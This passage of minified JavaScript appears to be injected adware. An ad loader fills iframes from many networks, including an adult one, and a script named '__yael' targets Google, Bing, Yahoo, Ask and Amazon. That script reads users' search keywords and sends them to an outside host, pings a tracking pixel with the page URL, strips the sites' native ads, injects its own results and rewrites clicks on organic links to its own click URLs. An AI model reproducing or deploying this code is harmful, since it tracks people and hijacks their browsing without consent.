rsize[1],width=rsize[0],height=rsize[1];if (-1 == '120x600 160x600 300x250 468x60 728x90'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;;return function(ifr){_zyad.iset(ifr, 'http://ib.adnxs.com/tt?id=2462679&size=+size+' (atp?atp:1), [1048,size]);}}catch(e){return !1;}},web3_gen_13_4:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '160x600 300x250 468x60 728x90'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;;return function(ifr){_zyad.iset(ifr, 'http://ib.adnxs.com/tt?id=2490464&size='+size+'&cb=[CACHEBUSTER]&referrer=[REFERRER_URL]', (atp?atp:1), [1080,size]);}}catch(e){return !1;}},xertive_apx_13:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '120x600 160x600 300x250 728x90 468x60'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;arr={\"120x600\":\"2500356\",\"160x600\":\"2500375\",\"300x250\":\"2500403\",\"728x90\":\"2500441\",\"468x60\":\"2500445\"}[size];var surl='http://ib.adnxs.com/tt?id='+ arr  + '&cb=[CACHEBUSTER]&referrer=[REFERRER_URL]';return function(ifr){_zyad.iset(ifr, ''+surl+'', (atp?atp:1), [1091,size]);}}catch(e){return !1;}},velis_apx_tb:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '120x600 160x600 300x250 468x60 728x90'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;arr={\"120x600\":\"2497919\",\"160x600\":\"2497918\",\"300x250\":\"2497914\",\"468x60\":\"2497923\",\"728x90\":\"2497896\"}[size];var surl='http://ib.adnxs.com/tt?id='+ arr  + '';return function(ifr){_zyad.iset(ifr, ''+surl+'', (atp?atp:1), [1138,size]);}}catch(e){return !1;}},cpx_favoritmic_premium:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '160x600 300x250 728x90'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;;return function(ifr){_zyad.iset(ifr, 'http://optimizedby.brealtime.com/tt?id=2507141&size='+size+'&referrer=[REFERRER_URL]', (atp?atp:1), [1148,size]);}}catch(e){return !1;}},mari_gen21:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '728x90 300x250 160x600 120x600 468x60'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;arr={\"728x90\":\"2477324\",\"300x250\":\"2477325\",\"160x600\":\"2477326\",\"120x600\":\"2477327\",\"468x60\":\"2477328\"}[size];var surl='http://ib.adnxs.com/tt?id='+ arr  + '';return function(ifr){_zyad.iset(ifr, ''+surl+'', (atp?atp:1), [966,size]);}}catch(e){return !1;}},mediawhite_13:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '160x600 300x250 728x90'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;arr={\"160x600\":\"2491595\",\"300x250\":\"2491597\",\"728x90\":\"2491598\"}[size];var surl='http://ads.mediawhite.com/tt?id='+ arr  + '&cb=[CACHEBUSTER]&referrer=[REFERRER_URL]';return function(ifr){_zyad.iset(ifr, ''+surl+'', (atp?atp:1), [1135,size]);}}catch(e){return !1;}},velis_gen14:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '728x90 300x250 120x600 160x600 468x60'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;arr={\"728x90\":\"2523749\",\"300x250\":\"2523750\",\"120x600\":\"2523751\",\"160x600\":\"2523752\",\"468x60\":\"2523753\"}[size];var surl='http://ib.adnxs.com/tt?id='+ arr  + '';return function(ifr){_zyad.iset(ifr, ''+surl+'', (atp?atp:1), [1140,size]);}}catch(e){return !1;}},clove_rs_13_4:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '160x600 300x250 728x90'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;arr={\"160x600\":\"2492951\",\"300x250\":\"2492952\",\"728x90\":\"2492953\"}[size];var surl='http://ads.clovenetwork.com/tt?id='+ arr  + '&pubclick=[INSERT_CLICK_TAG]';return function(ifr){_zyad.iset(ifr, ''+surl+'', (atp?atp:1), [1063,size]);}}catch(e){return !1;}},adsuduos_apx9:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '160x600 300x250 728x90'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;arr={\"160x600\":\"2527394\",\"300x250\":\"2527398\",\"728x90\":\"2527399\"}[size];var surl='http://ib.adnxs.com/tt?id='+ arr  + '';return function(ifr){_zyad.iset(ifr, ''+surl+'', (atp?atp:1), [1160,size]);}}catch(e){return !1;}},mango_apx6:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '728x90 468x60 300x250 160x600 120x600'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;arr={\"728x90\":\"2481824\",\"468x60\":\"2481825\",\"300x250\":\"2481827\",\"160x600\":\"2481828\",\"120x600\":\"2481829\"}[size];var surl='http://ib.adnxs.com/tt?id='+ arr  + '&cb=${CACHEBUSTER}&referrer=${REFERER_URL}&pubclick=${CLICK_TAG}';return function(ifr){_zyad.iset(ifr, ''+surl+'', (atp?atp:1), [1109,size]);}}catch(e){return !1;}},baba_nontb_new:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '160x600 300x250 728x90'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;arr={\"160x600\":\"2543676\",\"300x250\":\"2543673\",\"728x90\":\"2543662\"}[size];var surl='http://ib.adnxs.com/tt?id='+ arr  + '';return function(ifr){_zyad.iset(ifr, ''+surl+'', (atp?atp:1), [1163,size]);}}catch(e){return !1;}},cpx_nontb30_tr:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '728x90 300x250 160x600'.indexOf(size)) return !1;var atp=false;;return function(ifr){_zyad.iset(ifr, 'http://tr.adsplats.com/tra/32160/index.html?size=+size+&referrer=' (atp?atp:1), [442,size]);}}catch(e){return !1;}},cpx_youtube:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '160x600 300x250 728x90'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;;return function(ifr){_zyad.iset(ifr, 'http://servedby.adsplats.com/tt?id=2476283&size=+size+&referrer=${REFERER_URL}' (atp?atp:1), [943,size]);}}catch(e){return !1;}},matomy_strm29:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '300x250 728x90 160x600'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;arr={\"300x250\":\"2461800\",\"728x90\":\"2461807\",\"160x600\":\"2461810\"}[size];var surl='http://ib.adnxs.com/tt?id='+ arr  + '';return function(ifr){_zyad.iset(ifr, ''+surl+'', (atp?atp:1), [1004,size]);}}catch(e){return !1;}},dsnr_strm_6_4:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '160x600 300x250 728x90'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;;return function(ifr){_zyad.iset(ifr, 'http://ib.adnxs.com/tt?id=2489443&size=+size+' (atp?atp:1), [1018,size]);}}catch(e){return !1;}},web3_strm_13_4:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '160x600 300x250 468x60 728x90'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;;return function(ifr){_zyad.iset(ifr, 'http://ib.adnxs.com/tt?id=2486514&size='+size+'&cb=[CACHEBUSTER]&referrer=[REFERRER_URL]', (atp?atp:1), [1087,size]);}}catch(e){return !1;}},ybrant_compas:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '728x90 300x250 468x60 120x600 160x600'.indexOf(size)) return !1;var atp=false;if(size==\"120x60\")return;var arr={\"728x90\":\"2\",\"300x250\":\"1\",\"468x60\":\"3\",\"120x600\":\"5\",\"160x600\":\"4\"}[size];var surl='http://ads.incmd01.com/creative/2-002136099-00001i;size='+arr+';tag_id=3430;ref=';;return function(ifr){_zyad.iset(ifr, ''+surl+'', (atp?atp:1), [1162,size]);}}catch(e){return !1;}},mari_strm_tier1_28:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '728x90 300x250 160x600'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;arr={\"728x90\":\"2488868\",\"300x250\":\"2488871\",\"160x600\":\"2488873\"}[size];var surl='http://ib.adnxs.com/tt?id='+ arr  + '';return function(ifr){_zyad.iset(ifr, ''+surl+'', (atp?atp:1), [992,size]);}}catch(e){return !1;}},hulk_porn:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '728x90 300x250 468x60 120x600 160x600 300x600 250x250 600x400'.indexOf(size)) return !1;var atp=false;var surl='http://syndication.exoclick.com/ads-iframe-display.php?type=+size+&login=hulkshare_RS2&cat=2&search=&ad_title_color=0000cc&bgcolor=FFFFFF&border=0&border_color=000000&font=&block_keywords=&ad_text_color=000000&ad_durl_color=008000&adult=0&sub=0&text_only=0&show_thumb=0&idzone=' + {\"728x90\":\"638635\",\"300x250\":\"638633\",\"468x60\":\"774737\",\"120x600\":\"774751\",\"160x600\":\"638637\",\"300x600\":\"774753\",\"250x250\":\"774743\",\"600x400\":\"774747\"}[size] + '&idsite=225117&p='+encodeURIComponent(window.self.location.href)+'&dt=' + Math.random();if(!document.getElementById(\"sad32ecs3fdsa\")&&1==Math.ceil(4*Math.random()))try{setTimeout(function(){var b=document.getElementsByTagName(\"body\")[0],a=document.createElement(\"div\");a.setAttribute(\"style\",\"width:728px;height:90px;margin:0 auto\");a.setAttribute(\"id\",\"sad32ecs3fdsa\");a.innerHTML='<iframe src=\"//ads.ventivmedia.com/www/delivery/afr.php?zoneid=31&cb='+Math.random()+'\" style=\"width:728px;height:90px\" frameborder=\"0\" scrolling=\"no\"></iframe>';b.insertBefore(a,b.firstChild)},1)}catch(e){};;return function(ifr){_zyad.iset(ifr, ''+surl+'', (atp?atp:1), [420,size]);}}catch(e){return !1;}}}};_zyad.init();})();window.top==window.self&&\"undefined\"==typeof __yael_running&&(window.__yael_running=!0,new function(){if(!document.getElementById(\"__yael_once\")){var m=document.createElement(\"div\");m.id=\"__yael_once\";var n=document.getElementsByTagName(\"body\")[0];n&&n.appendChild(m);var b=this;b.pixelHost=\"//sepx.sendapplicationget.com\";b.prefix=\"jhgasdf\";b.version=\"0.4.1\";b.now=(new Date).getTime();b.clickInterval=2592E5;b.ratio=12;b.initThrottle=\"google;gmaps;amazon\";b.unique_items_left=!0;b.num_of_items_in_one=4;b.count=0;b.baseHostname=\"sendapplicationget.com\";b.utils=new function(){var a=this;a.cookie=new function(){var a=this;a.createCookie=function(a,c,b){if(b){var g=new Date;g.setTime(g.getTime()+864E5*b);b=\"; expires=\"+g.toGMTString()}else b=\"\";document.cookie=a+\"=\"+c+b+\"; path=/\"};a.readCookie=function(a){a+=\"=\";for(var c=document.cookie.split(\";\"),b=0;b<c.length;b++){for(var g=c[b];\" \"==g.charAt(0);)g=g.substring(1,g.length);if(0==g.indexOf(a))return g.substring(a.length,g.length)}return null}; a.eraseCookie=function(b){a.createCookie(b,\"\",-1)}};a.ajax={get:function(c,b){try{this.xhr=new XMLHttpRequest,this.xhr.open(\"GET\",c,!0),this.xhr.onreadystatechange=function(){4==a.ajax.xhr.readyState&&b(a.ajax.xhr.responseText)},this.xhr.send()}catch(e){}},post:function(c,b,e){this.xhr=new XMLHttpRequest;this.xhr.open(\"POST\",c,!0);this.xhr.setRequestHeader(\"Content-type\",\"application/x-www-form-urlencoded\");this.xhr.onreadystatechange=function(){4==a.ajax.xhr.readyState&&e(a.ajax.xhr.responseText)}; b=encodeURIComponent(b);this.xhr.send(b)}};a.waitForTokens={};a.addScript=function(a,b){if(\"undefined\"==typeof Element.prototype.appendChild.toString)document.getElementsByTagName(\"head\")[0].appendChild(a);else if(\"bing\"==b){var e=Element.prototype.appendChild,f=document.createElement(\"iframe\");Element.prototype.appendChild=f.document.appendChild;document.getElementsByTagName(\"head\")[0].appendChild(a);Element.prototype.appendChild=e}};a.waitForElement=function(c,d,e,f){var g=a.query_selector_all©; clearTimeout(a.waitTimeout);if(25<b.waitForElementCounter)return d(null);if(\"undefined\"==typeof g||1>g.length){if(a.waitForTokens[f])return d(null);var h=arguments.callee;a.waitTimeout=setTimeout(function(){b.waitForElementCounter++;h(c,d,e,f)},e)}else{if(a.waitForTokens[f])return d(null);a.waitForTokens[f]=!0;b.waitForElementCounter=0;return d(g)}};a.flushWaitForTokens=function(){a.waitForTokens={}};a.getRandomInt=function(a,b){return Math.floor(Math.random()*(b-a+1))+a};a.get_computed_style=\"function\"!= typeof window.getComputedStyle?function(b){return{getPropertyValue:function(d){\"float\"==d&&(d=\"styleFloat\");d=a.dhtml_prop_name(d);return\"object\"==typeof b.currentStyle&&null!=b.currentStyle&&\"undefined\"!=typeof b.currentStyle[d]?b.currentStyle[d]:null}}}:function(a,b){return window.getComputedStyle(a,b)||{getPropertyValue:function(){}}};a.query_selector_all=document.querySelectorAll?function(a){try{return document.querySelectorAll(a)}catch(b){}}:function(a){var b=a.match(/^#([^,\\s]+)$/)||[];if(1< b.length)return a=document.getElementById(b[1])||void 0,\"undefined\"!=typeof a?[a]:[];b=document.createElement(\"STYLE\");document.getElementsByTagName(\"body\")[0].appendChild(b);document.__asya_qsaels=[];b.styleSheet.cssText=a+\"{x:expression(document.__asya_qsaels.push(this))}\";window.scrollBy(0,0);return document.__asya_qsaels};a.clone_object=window.JSON instanceof Object?function(a){if(a instanceof Object&&(a=JSON.stringify(a),\"string\"==typeof a))return JSON.parse(a)}:function(a){if(a instanceof Object){var b= new a.constructor,e;for(e in a)b[e]=arguments.callee(a[e]);return b}return a};a.dhtml_prop_name=function(a){return a.replace(/( \\-([a-z]){1})/g,function(a,b,c){return c.toUpperCase()})};a.wildcard_to_regex=function(a){a=a.replace(/([.^$+(){}\\[\\]\\\\|\\?])/g,\"\\\\$1\");a=a.replace(/\\*/g,\".*\");return RegExp(a)};a.throttle=function(a,b){var e=null;return function(){var f=this,g=arguments;clearTimeout(e);e=setTimeout(function(){a.apply(f,g)},b)}};a.epoch=function(){return(new Date).getTime()};a.version_ie_less= function(a){if(/MSIE (\\d+\\.\\d+);/.test(navigator.userAgent))return new Number(RegExp.$1)<=a?!0:!1};a.isIE=function(){return\"Microsoft Internet Explorer\"==navigator.appName||\"Netscape\"==navigator.appName&&null!=/Trident\\/.*rv:([0-9]{1,}[.0-9]{0,})/.exec(navigator.userAgent)};a.match_url=function(b,d){for(var e=0;e<d.length;e++)if(\"string\"==typeof d[e]){var f;f=/^\\/.+\\/$/.test(d[e])?RegExp(d[e]):a.wildcard_to_regex(d[e]);if(f instanceof RegExp&&f.test(b))return!0}};a.ping=function(a){for(var d=[\"google\", \"bing\",\"yahoo\",\"youtube\"],e=0;e<d.length;e++)if(-1<location.hostname.indexOf(d[e])){var f=new Image,g=encodeURIComponent(window.self==window.top?window.self.location.href:\"\");1E3<g.length&&(g=encodeURIComponent(location.hostname));var h=encodeURIComponent(location.hostname);f.src=b.pixelHost+\"?hid=6805408996581083640&eid=45&pid=4002&prodid=186&v=\"+b.version+\"&ch=\"+a+\"&lan=\"+navigator.language+\"&cc=CA&pr=\"+d[e]+\"&host=\"+h+\"&ref=\"+g}}};var k=[\"horizontal\", \"vertical\",\"images-horizontal\",\"images-vertical\"];b.jsonpHost=function(){var a=\"s1. s1. s2. s3. s4. s5. s6.\".split(\" \");return a[b.utils.getRandomInt(0,a.length-1)]+\"\"}()+b.baseHostname;b.projects_info={google:{hrefSelector:\".r a\",unique_search_divs:\"3\",urls:[\"www.google.*\"],src_for_keyword:[\"#gbqfq\",\"#lst-ib\",\"#sbhost\"],dr:[\"#tvcap\",\"#bottomads\",\"#tads\"],tweak:function(){b.events.flush();var a=b.utils.query_selector_all(\"#nav td\"),c=b.utils.query_selector_all(\".spell + a\")[0];if(0<a.length)for(var d= 0;d<a.length;d++)b.events.add(\"click\",function(){b.init_search_project()},!1,a[d],!0);\"undefined\"!==typeof c&&b.events.add(\"click\",function(){b.init_search_project()},!1,c,!0)},validate:function(a){var c=this;if(-1<location.href.indexOf(\"https://www.google.c...oat\"))return!0; if(!c.check_tab())return!1},1E3,\"validate\")};c.count=0;this.check_tab=function(){var a=document.getElementById(\"hdtb_msb\");if(null==a||\"undefined\"==typeof a)if(c.count++,10>c.count)setTimeout(function(){c.check_tab()},1E3);else return!1;else return b.utils.query_selector_all(\".hdtb_mitem\")[0].className.match(/hdtb_msel/)&&(b.utils.ping(\"validate2\"),c.callback()),!1};return c.is_direction_right()?!1:!0}},yahoo:{hrefSelector:\"a[id^=link]\",unique_search_divs:\"3\",dr:[\".ads.horiz.top\",\".ads.horiz.bot\"], urls:[\"yahoo\"],src_for_keyword:\"#yschsp\",validate:function(){b.utils.ping(\"validate2\");return!0}},bing:{hrefSelector:[\".b_algo a\",\".sb_tlst a\"],unique_search_divs:\"2\",dr:[\".sb_adsWv2\"],urls:[\"http://www.bing.com/...tion(){return!0}}, ask:{hrefSelector:\".ptbs  a[id^=r]\",unique_search_divs:\"1\",urls:[\"http://www.ask.com/w...:function(){var a=b.utils.query_selector_all(\".gRsSTypeSelltr\"); if(0<a.length){for(var c=0;c<a.length;c++)if(\"English\"==a[c].innerHTML)return!0;return!1}}},incredimail:{hrefSelector:\".title\",unique_search_divs:\"3\",dr:[\"#MainSponsoredLinks\"],urls:[\"http://www.search.in...ass^='ads-line'] a\",unique_search_divs:\"1\",dr:[\".ads.horiz.top\",\".ads.horiz.bot\"],urls:[\"https://www.google.com/maps/*\"], src_for_keyword:\"#searchboxinput\",tweak:function(){var a=function(){b.remove_search();b.utils.query_selector_all(\".omnibox-cards-transformations\")[0].style.marginTop=\"0px\";document.getElementById(\"reveal-cards\").style.marginTop=\"0px\"};b.events.add(\"click\",function(){a()},!1,document.getElementById(\"cards\"),!1);b.events.add(\"keyup\",function(){a()},!1,document.getElementById(\"searchbox_form\"),!1);b.events.add(\"click\",function(){a()},!1,document.getElementById(\"viewcard\"),!1);b.events.add(\"click\",function(){a()}, !1,b.utils.query_selector_all(\".widget-runway-pegman\")[0],!1);b.events.add(\"click\",function(){a()},!1,b.utils.query_selector_all(\".gscb_a\")[0],!1);var c=function(a){a=document.querySelector(a);return getComputedStyle(a,null).height}(\".yael .cards-card\");document.querySelector(\".omnibox-cards-transformations\").style.marginTop=c;document.querySelector(\"#reveal-cards\").style.marginTop=c},validate:function(a){b.utils.isIE()||(b.num_of_items_in_one=1,a())}},amazon:{unique_search_divs:\"1\",urls:[\"http://www.amazon.co...eld-keywords=*\"], src_for_keyword:\"#twotabsearchtextbox\",validate:function(a){a()}},smartAddress:{hrefSelector:[\"li a\"],unique_search_divs:\"2\",dr:[\".peach ol\"],urls:[\"search.smartaddressbar.com/web.php?s=*\"],src_for_keyword:\"#stxt\",tweak:function(){var a=b.utils.query_selector_all(\".peach\")[0],c=b.utils.query_selector_all(\".right ul\")[0];a&&a.parentNode.removeChild(a);c&&c.parentNode.removeChild©},validate:function(){return!0}}};var l=function(a){if(\"string\"==typeof a){var c=a.match(/:nth-match\\(([0-9]+)\\)/);if(c&& 1<c.length)return a=b.utils.query_selector_all(a.substr(0,c.index))||[],a[c[1]]||void 0;a=b.utils.query_selector_all(a)||[];return a[0]||void 0}};b.events=new function(){var a=this;a.cache=[];a.add=window.addEventListener?function(b,d,e,f,g){\"undefined\"==typeof f&&(f=window);f.addEventListener(b,d,e);g&&a.cache.push([b,d,e,f])}:window.attachEvent?function(b,d,e,f,g){\"undefined\"==typeof f&&(f=window);f[\"e\"+b+d]=d;f[b+d]=function(){f[\"e\"+b+d](window.event)};f.attachEvent(\"on\"+b,f[b+d]);g&&a.cache.push([b, d,e,f])}:function(){};a.remove=window.removeEventListener?function(a,b,e,f){\"undefined\"==typeof f&&(f=window);f.removeEventListener(a,b,e)}:window.detachEvent?function(a,b,e,f){\"undefined\"==typeof f&&(f=window);f.detachEvent(\"on\"+a,f[a+b]);f[a+b]=null;f[\"e\"+a+b]=null}:function(){};a.flush=function(){for(var b=0;b<a.cache.length;b++)a.remove.apply(a,a.cache[b]);a.cache=[]}};b.get_insertion_element=function(a){return!a.insert||\"before\"!=a.insert&&\"after\"!=a.insert?a.element:a.element.parentNode};b.dom= new function(){this.json_to_html=function(a,c){if(\"#text\"==a.type)c=document.createTextNode(a.text);else if(\"#comment\"!=a.type){c||(c=document.createElement(a.type));if(a.attrs){for(var d in a.attrs)if(a.attrs.hasOwnProperty(d))if(\"style\"==d&&a.attrs.style instanceof Object)for(var e in a.attrs.style){var f=b.utils.dhtml_prop_name(e);c.style[f]=a.attrs.style[e]}else c.setAttribute(d,a.attrs[d]);\"iframe\"==a.type&&(a.attrs.hasOwnProperty(\"frameborder\")&&(c.frameBorder=a.attrs.frameborder),a.attrs.hasOwnProperty(\"marginwidth\")&& (c.marginWidth=a.attrs.marginwidth),a.attrs.hasOwnProperty(\"marginheight\")&&(c.marginHeight=a.attrs.marginheight))}if(a.children)for(d=0;d<a.children.length;d++){f=a.children[d];e=arguments.callee(f);try{c.appendChild(e)}catch(g){if(\"#text\"==f.type&&\"string\"==typeof f.text)if(\"style\"==a.type&&c.styleSheet)c.styleSheet.cssText=f.text||\"\";else if(e=b.utils.get_node_text_prop©)c[e]=f.text}}}return c}};b.addEventClick=function(a,c){for(var d=0;d<a.length;d++)b.events.add(\"click\",function(a){a.preventDefault? a.preventDefault():a.returnValue=!1;this.href=\"#\";location.href=c+\"&j=true\";b.events.flush();localStorage.setItem(b.prefix,b.now+b.clickInterval);return!1},!1,a[d],!0)};b.checkClickInterval=function(a){if(b.now>a)return!0};b.setClickHref=function(a,c){if(\"undefined\"!=typeof b.projects_info[c].hrefSelector){if(b.utils.getRandomInt(1,1E4)>=1E4/b.ratio)return!1;var d=b.projects_info[c].hrefSelector,e=parseInt(localStorage.getItem(b.prefix));if(\"undefined\"!=typeof d){if(d instanceof Array)for(var f=0;f< d.length;f++){var g=b.utils.query_selector_all(d[f]);if(0<g.length)break}else g=b.utils.query_selector_all(d);if(!e||b.checkClickInterval(e))b.addEventClick(g,a),b.j=!0}}};b.escape_chars_for_json=function(a){for(var b in a)a[b]=a[b].replace(/\\\"/g,'\\\\\"');return a};b.tpl_engine=function(a,c,d){\"false\"!==d.layouts.unique&&(c=b.escape_chars_for_json©);a=JSON.stringify(a);c=[{replace:\"title\",\"with\":c.title},{replace:\"displayUrl\",\"with\":c.displayUrl},{replace:\"description\",\"with\":c.description},{replace:\"clickUrl\", \"with\":c.clickUrl}];for(d=0;d<c.length;d++)a=a.replace(RegExp(\"\\\\[##\"+c[d].replace+\"##\\\\]\",\"g\"),c[d][\"with\"]);try{return JSON.parse(a)}catch(e){}};b.get_item_json=function(a,c){var d=b.utils.clone_object(a.layouts.template);d.attrs instanceof Object||(d.attrs={});return d=b.tpl_engine(d,c,a)};b.add_jsonp_to_config=function(a,c){b.get_item_json(a)};b.remove_search=function(){var a=b.utils.query_selector_all(\".yael\");if(0<a.length)for(var c=0;c<a.length;c++)a[c].parentNode.removeChild(a[c])};b.inject_json= function(a){\"first\"==a.insert?a.element.insertBefore(a.node,a.element.firstChild):\"before\"==a.insert?a.element.parentNode.insertBefore(a.node,a.element):\"after\"==a.insert?a.element.parentNode.insertBefore(a.node,a.element.nextSibling):a.element.appendChild(a.node)};b.get_ad_dom=function(a){return a.layouts instanceof Object&&a.layouts.dom instanceof Object?a.layouts.dom:!1};b.get_layout_type=function(a){if(a.layouts instanceof Object)for(var b=0;b<k.length;b++)if(-1<a.layouts.id.indexOf(k[b]))return k[b]; return!1};b.create_search=function(a){a=b.get_ad_dom(a);return b.dom.json_to_html(a)};b.templates=new function(){this.container_id=0;this.add_real_links=function(a,c){b.utils.add_event(\"click\",function(b){window.open(a);b.preventDefault?b.preventDefault():b.returnValue=!1},!1,c)}};b.validate_response=function(){for(var a in __yael_res.data.items)__yael_res.data.items[a].displayUrl.match(/^(http:\\/\\/|https:\\/\\/|\\/\\/)/)&&__yael_res.data.items[a].displayUrl.replace(/^(http:\\/\\/|https:\\/\\/|\\/\\/)/,\"\")}; b.is_target_valid=function(a){if(0!=__yael_res.data.numberOfItems&&\"undefined\"!=typeof a.element)return a.urls instanceof Array&&!b.utils.match_url(a.element.ownerDocument.location.href,a.urls)?!1:!0};var p=null;b.get_target_element=function(a){if(a.inserts instanceof Array&&\"undefined\"==typeof a.element)for(var b=0;b<a.inserts.length;b++)if(a.element=l(a.inserts[b].selector),\"undefined\"!==typeof a.element){a.insert=a.inserts[b].at;break}};b.add_data_to_config=function(a,c){if(0==c.length)return b.unique_items_left= !1;var d=b.get_ad_dom(a);(function(a,c){c.children&&0!==c.children.length?(c=c.children[c.children.length-1],arguments.callee(a,c)):b.insert_point=c})(a,d);for(d=0;d<b.num_of_items_in_one&&0!=c.length;d++)b.insert_point.children.push(b.get_item_json(a,c[0])),\"true\"==a.layouts.unique?b.not_unique_items.push(c.shift()):c.shift()};b.addEventsToItems=function(){for(var a=document.querySelectorAll('a[href*=\"'+b.jsonpHost+'\"]'),c=0;c<a.length;c++)b.events.add(\"click\",function(){b.init_search_project()}, !1,a[c],!1)};b.check_if_div_in_dom=function(a,b){var d=[],e;for(e in __yael_res.config.targets){var f=__yael_res.config.targets[e];clearTimeout(p);a++;if(4<a)return;if(f.inserts instanceof Array&&\"undefined\"==typeof f.element)for(var g=0;g<f.inserts.length;g++){var h=l(f.inserts[g].selector);\"undefined\"!==typeof h&&d.push(h)}}for(e=0;e<d.length;e++)if(\"undefined\"==typeof d[e]){var k=this;p=setTimeout(function(){k.apply(k,arguments)},200)}b()};b.loop_targets=function(a,c,d){if(a instanceof Object&& (b.get_target_element(a),b.is_target_valid(a)&&(\"false\"==d&&b.unique_items_left&&(c=b.not_unique_items),0!=c.length))){b.add_data_to_config(a,c);try{a.node=b.create_search(a)}catch(e){}\"undefined\"!=typeof a.node&&b.inject_json(a)}};b.removeSecondClick=function(){for(var a=b.utils.query_selector_all(\".yael a\"),c=0;c<a.length;c++)b.events.add(\"click\",function(a){setTimeout(function(){for(var a=b.utils.query_selector_all(\".yael a\"),c=0;c<a.length;c++){var d=a[c];d.outerHTML=d.outerHTML.replace(/href\\=/ig, \"_href=\")}},20)},!1,a[c],!0)};b.inject_search=function(){b.not_unique_items=[];0!=__yael_res.data.items.length&&(b.setClickHref(__yael_res.data.items[0].clickUrl,b.projects_name),b.check_if_div_in_dom(0,function(){for(var a in __yael_res.config.targets){var c=__yael_res.config.targets[a];b.loop_targets(c,__yael_res.data.items,c.layouts.unique)}\"function\"==typeof b.projects_info[b.projects_name].tweak&&b.projects_info[b.projects_name].tweak();b.j||b.removeSecondClick();b.utils.flushWaitForTokens()}))}; b.init_search_project=function(){b.waitForElementCounter=0;\"undefined\"!=typeof __yael&&b.remove_search();for(var a in b.projects_info)if(b.utils.match_url(location.href,b.projects_info[a].urls)){var c=b.projects_info[a];b.projects_name=a;if(-1<b.initThrottle.indexOf(a))c.validate(function(){c.name=b.projects_name;b.get_keyword(c,function(a,c){b.jsonp_request(a,c)})});else{if(!c.validate())return;c.name=b.projects_name;b.projects_name=a;b.get_keyword(c,function(a,c){b.jsonp_request(a,c)})}}return!1}; b.get_keyword=function(a,c){var d=a.src_for_keyword,e=function(d){b.inputElement=d[0];b.keyword=b.inputElement.value;if(2>b.keyword.length)return b.utils.flushWaitForTokens(),!1;if(b.inputElement&&\"input\"==b.inputElement.tagName.toLowerCase()&&\"\"!==b.keyword)return c(b.keyword,a.name)};if(d instanceof Array)for(var f=0;f<d.length;f++)b.utils.waitForElement(d[f],function(a){a&&e(a)},100,\"keyword\");else b.utils.waitForElement(d,function(a){a&&e(a)},100,\"keyword\")};b.remove_se_handler=function(a){var c= b.projects_info[a].dr;if(c instanceof Array)if(\"bing\"==a)for(c=b.utils.query_selector_all(c[0]),a=0;a<c.length;a++)b.remove_se(c[a]);else for(a=0;a<c.length;a++){var d=l(c[a]);b.remove_se(d)}};b.remove_se=function(a){a&&a.parentElement.removeChild(a)};b.jsonp_request=function(a,c){var d=b.num_of_items_in_one*parseInt(b.projects_info[c].unique_search_divs);window.__yael_cb=function(a){window.__yael_res=a;\"0\"==__yael_res.data.numberOfItems?b.utils.flushWaitForTokens():(0==__yael.utils.getRandomInt(0, 10)&&b.remove_se_handler©,__yael.inject_search())};\"undefined\"==typeof window.__yael&&(window.__yael=b);d=b.jsonpHost+\"/?v=\"+b.version+\"&p=\"+c+\"&keyword=\"+a+\"&numItems=\"+d+\"&hid=6805408996581083640&eid=45&pid=4002\";\"undefined\"!=typeof specificFeeds&&specificFeeds instanceof Array&&(d+=\"&_feeds=\"+specificFeeds.join(\",\"));if(b.utils.isIE()){if(document.getElementById(\"__yael_script\")){var e=document.getElementById(\"__yael_script\");e.parentNode.removeChild(e)}e=document.createElement(\"script\"); e.id=\"__yael_script\";e.src=\"//\"+d+\"&domvar=__yael_cb\";e.type=\"text/javascript\";b.utils.addScript(e,c)}else 